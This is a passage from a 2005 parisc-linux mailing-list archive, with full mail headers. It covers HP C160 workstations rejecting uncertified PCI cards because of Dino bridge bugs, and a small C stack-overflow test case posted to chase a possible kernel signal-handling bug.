	with ESMTP id 29050-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 01:01:30 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by free.linux.hp.com (Postfix) with ESMTP id 80E847D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 01:01:30 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i2so939067wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:01:30 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Ur0O+hcTAho/Z9hGe412SiKuzqDwR/vnmy/1prWgKoqq+G5XCVHKtY+y3dwTKJaGN675xMT4LLlLEflTUC6MWMJOA+zvasawSWbKUrB3gnUvNndp/FYi9sa8xk7DOdTmFhWoxujFJNQM8sK279fwTI+AriWwyuRTUGYXxEDOLp0=
Original-Received: by 10.54.4.60 with SMTP id 60mr3460255wrd;
	Mon, 15 Aug 2005 00:01:29 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Mon, 15 Aug 2005 00:01:29 -0700 (PDT)
In-Reply-To: <430035F8.9040900@excelcia.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g1hyY2xteSEkQb6WZHQhaXN1IGRvbwC/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23067

On 15/08/05, Kurt Fitzner <kfitzner@excelcia.org> wrote:
> I am trying to put an Ethernet card into my new (to me) C160 without any
> success.  Any time I put a PCI card in, the machine refused to boot and
> gives me the message:
>=20
>    *****
>    ***** Disabled the PCI USB card in slot 3.
>    *****
>    * *   An unsupported PCI I/O configuration has been detected. * *
>    * *   Contact your HP service representative for warranty     * *
>    * *   service to enable the card(s) listed above.             * *

BTW, are you really sure you don't have any PCI (UHCI/OHCI/EHCI) USB
card installed somewhere? It would be rather strange if it falsly
identifies your ethernet card as a USB card ...

   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI card in C160
Date: Mon, 15 Aug 2005 09:43:20 +0200 (CEST)
Lines: 58
Approved: news@gmane.org
Message-ID: <29513.193.160.141.5.1124091800.squirrel@www.puszczka.com>
References: <430035F8.9040900@excelcia.org>
	<e6eae0290508142351585ba614@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623895 16392 80.91.229.3 (22 Nov 2014 02:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 07:07:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 15 Aug 2005 09:07:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 785F37D6EC;
	Mon, 15 Aug 2005 01:06:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29196-07; Mon, 15 Aug 2005 01:06:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30BD37D6E7;
	Mon, 15 Aug 2005 01:06:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 673287D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 01:06:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29050-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 01:06:45 -0600 (MDT)
Original-Received: from osl1smout1.broadpark.no (osl1smout1.broadpark.no [80.202.4.58])
	by free.linux.hp.com (Postfix) with ESMTP id BAAED7D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 01:06:45 -0600 (MDT)
Original-Received: from osl1sminn1.broadpark.no ([80.202.4.59])
	by osl1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IL900BL0560S3D0@osl1smout1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 15 Aug 2005 09:08:24 +0200 (CEST)
Original-Received: from tolstoy.puszczka.com ([84.48.69.30]) by osl1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21
	2004)) with ESMTP id <0IL900I4U58ROE00@osl1sminn1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 15 Aug 2005 09:10:03 +0200 (CEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)	id 9BE4213496; Mon,
	15 Aug 2005 09:43:20 +0200 (CEST)
Original-Received: from 193.160.141.5 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Mon, 15 Aug 2005 09:43:20 +0200 (CEST)
In-reply-to: <e6eae0290508142351585ba614@mail.gmail.com>
Importance: Normal
X-Priority: 3 (Normal)
User-Agent: SquirrelMail/1.4.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QlpyY7V2eSEkYb6WZHQhaXN1IGRvb8DD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23068

> On 15/08/05, Kurt Fitzner <kfitzner@excelcia.org> wrote:
>> I am trying to put an Ethernet card into my new (to me) C160 without any
>> success.  Any time I put a PCI card in, the machine refused to boot and
>> gives me the message:
>>
>>    *****
>>    ***** Disabled the PCI USB card in slot 3.
>>    *****
>>    * *   An unsupported PCI I/O configuration has been detected. * *
>>    * *   Contact your HP service representative for warranty     * *
>>    * *   service to enable the card(s) listed above.             * *
>
> Errm, I can't say for sure, but IIRC there was a time when HP thought
> it is useful to just allow HP certified/supported PCI cards to run in
> their workstations.
> Perhaps someone else can elaborate on that topic?
>
>> I had no trouble with putting a card in my B132L, but it seems to be
>> more forgiving of hardware.  It has a 5v PCI bus where the C160 is 3.3v.
>>
>> I've tried two different Ethernet cards and also a USB card I had lying
>> around - every card I have that was keyed for 3.3v.
>
> Well, many cards are universal, ie. keyed for both 3.3v and 5v.
>
>> I've updated to the latest firmware with no change.
>>
>> I know this is a little off topic for the list, but it's my guess that
>> not very many other people except Linux users are putting weird hardware
>> in their PARISC workstations.
>>
>> Anyways, if anyone knows of ethernet cards that will work on a C160 - if
>> you have similar hardware and a success story - I would appreciate
>> hearing about it.
>
> I can't speak about C160, but in my C240 I was able to use a
> DEC tulip and also a Intel EtherExpress PRO 100.
> I didn't have so much luck with a noname ne2k and some 3com Vortex,
> but it was about 3-4 years ago since I last tried ...
> Anyway I think a DEC Tulip card should be your best bet.
>
>    Max

I think HP did this due to bugs in the Dino PCI bridge. Certain revisions
have bugs that will quite likely corrupt data on cards that HP haven't
certified as working correctly (i.e. HP cards are known not to exercise
the bugs). Don't remember off the top of my head exactly which revisions
are affected, but if your B132L is actually a B132L+ it could well have
a newer, fixed, Dino rev. compared to the C160.

-Andy

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI card in C160
Date: Mon, 15 Aug 2005 11:46:50 -0400
Organization: mkp.net
Lines: 33
Approved: news@gmane.org
Message-ID: <yq1slxbfbit.fsf@wilson.lab.mkp.net>
References: <430035F8.9040900@excelcia.org>
	<e6eae0290508142351585ba614@mail.gmail.com>
	<29513.193.160.141.5.1124091800.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623895 16396 80.91.229.3 (22 Nov 2014 02:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 15:47:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 15 Aug 2005 17:47:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6833E7D6FA;
	Mon, 15 Aug 2005 09:47:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00954-10; Mon, 15 Aug 2005 09:47:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7F1E7D6FB;
	Mon, 15 Aug 2005 09:47:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DEAC7D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 09:47:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00954-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 09:47:03 -0600 (MDT)
Original-Received: from jaguar.mkp.net (vanessarodrigues.com [192.139.46.150])
	by free.linux.hp.com (Postfix) with ESMTP id 976C67D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 09:47:03 -0600 (MDT)
Original-Received: from wilson.lab.mkp.net (groovelator.mkp.net [209.217.122.111])
	by jaguar.mkp.net (Postfix) with ESMTP id 31744286C2B;
	Mon, 15 Aug 2005 11:46:49 -0400 (EDT)
Original-Received: by wilson.lab.mkp.net (Postfix, from userid 1654)
	id E956064054; Mon, 15 Aug 2005 11:46:50 -0400 (EDT)
In-Reply-To: <29513.193.160.141.5.1124091800.squirrel@www.puszczka.com> (Andy
	Walker's message of "Mon, 15 Aug 2005 09:43:20 +0200 (CEST)")
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VdxyYywaeSEkar6WZHQhaXN1IGRvb8D2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23069

>>>>> "Andy" == Andy Walker <ajwalker@broadpark.no> writes:

Andy> I think HP did this due to bugs in the Dino PCI bridge. 

Yup.


Andy> Certain revisions have bugs that will quite likely corrupt data
Andy> on cards that HP haven't certified as working correctly (i.e. HP
Andy> cards are known not to exercise the bugs). 

Well.  The old rev. Dino does corrupt data (Actually, the HP errata
note is funny.  It states that Dino will cause corruption but *only*
when you do I/O through it.  Good thing I/O is not something you do on
a regular basis 8).

Anyway.  For a graphics card it's not a big deal whether a pixel on
the display gets corrupted.  And consequently - as far as I remember -
the firmware will reject anything but Visualize cards.

The solution is to find a new I/O daughterboard on ebay.  There's
probably a higher success rate in terms of getting a newer rev. Dino
if you get a board from a scrapped C180/C200/C240.  Join the exclusive
circle of Frankenbox owners!

-- 
Martin K. Petersen      http://mkp.net/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 11:02:47 +0800
Lines: 53
Approved: news@gmane.org
Message-ID: <43015757.2080207@tausq.org>
References: <20050812180551.GA32609@colo.lackof.org>	<200508130000.j7D00oKW005186@hiauly1.hia.nrc.ca>	<20050813050211.GE32609@colo.lackof.org>
	<1123940428.5037.2.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623896 16399 80.91.229.3 (22 Nov 2014 02:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:16 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 03:03:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 16 Aug 2005 05:03:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A4437D6E8;
	Mon, 15 Aug 2005 21:03:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03194-04; Mon, 15 Aug 2005 21:03:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EFCD7D6EC;
	Mon, 15 Aug 2005 21:03:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FD087D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:03:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02751-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:03:06 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 5678B7D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:03:06 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1E4reA-00065m-UJ; Tue, 16 Aug 2005 10:57:50 +0800
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050805)
X-Accept-Language: en-us, en
In-Reply-To: <1123940428.5037.2.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IzJzY5J3eSEkUb6WZHQhaXN1IGRvb8Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23070

Can somebody with a 32-bit machine try this slightly modified test case?
In the presence of a signal handler for SIGSEGV, the program will loop
segfaulting because there's not enough stack space left for the signal
handler. On an a500, this program just loops, but perhaps on a 32-bit
machine it crashes the machine if run long enough. Seems to suggest a
problem in our kernel entry/exit paths?

randolph

================================================================

#include <stdio.h>
#include <signal.h>
#include <stdlib.h>

char *stack_base_estimate;

static void sighandler(int sig)
{
        printf("Got signal %d\n", sig);
        exit(0);
}

void
recurse(void)
{
        char a[256];

        memset(a, '\0', sizeof(*a));
        printf("Estimating stack consumed 0x%lx\n",
               (unsigned long)(a - stack_base_estimate));
        recurse();
}

int
main(int argc, char *argv[])
{
        char b;

        signal(SIGSEGV, sighandler);

        stack_base_estimate = &b;
        printf("Estimating stack base at 0x%p\n", stack_base_estimate);
        recurse();
        return 0;
}

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Mon, 15 Aug 2005 23:18:00 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200508160318.j7G3I17Q021898@hiauly1.hia.nrc.ca>
References: <43015757.2080207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623896 16403 80.91.229.3 (22 Nov 2014 02:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:16 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 03:18:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 16 Aug 2005 05:18:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9ACD97D6F2;
	Mon, 15 Aug 2005 21:18:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03750-07; Mon, 15 Aug 2005 21:18:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05ADF7D6F8;
	Mon, 15 Aug 2005 21:18:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35E197D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:18:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03194-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:18:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8524D7D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:18:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7G3I1nV021899; Mon, 15 Aug 2005 23:18:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7G3I17Q021898;
	Mon, 15 Aug 2005 23:18:01 -0400 (EDT)
In-Reply-To: <43015757.2080207@tausq.org> from "Randolph Chung" at Aug 16,
	2005 11:02:47 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oz9zY5kmeSEkT76WZHQhaXN1IGRvb4CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23071

> static void sighandler(int sig)
> {
>         printf("Got signal %d\n", sig);
>         exit(0);

I think you need to use _exit in a signal handler although this may
not be an issue when there is only one thread.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Mon, 15 Aug 2005 23:32:48 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200508160332.j7G3WnGx022020@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623896 16406 80.91.229.3 (22 Nov 2014 02:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:16 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 03:32:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 16 Aug 2005 05:32:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
